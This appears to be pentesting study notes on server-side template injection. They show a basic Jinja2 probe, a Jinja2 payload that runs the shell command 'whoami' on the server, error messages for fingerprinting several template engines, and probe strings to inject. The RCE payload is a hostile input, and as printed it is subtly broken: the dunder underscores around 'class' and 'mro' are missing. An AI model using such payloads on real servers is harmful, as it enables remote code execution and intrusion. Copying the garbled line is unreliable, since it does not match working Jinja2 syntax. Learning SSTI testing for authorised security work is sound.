Jinja2 ( Jinja2 is going to evaluate code that is in-between those sets of characters ) :

• {{7*7}} - Basic payload
• {{ ''.class.mro[1].subclasses()[401]("whoami", shell=True, stdout=-1).communicate() }} - RCE

How do we find out the template engine of an application when testing for SSTI

Look for Clues in Error Messages

• Many template engines throw distinctive error messages when you send invalid template syntax.

If you see:

• jinja2.exceptions.UndefinedError: → It's Jinja2
• TemplateSyntaxError: Unexpected token → Often Twig
• ejs: failed to compile → EJS
• Handlebars: [object Object] → Handlebars
• Mustache: Unclosed tag → Mustache

Inject basic syntax like:

• {{7*7}}
• ${7*7}
• <%= 7*7 %>
• #{7*7}

And see how the server responds.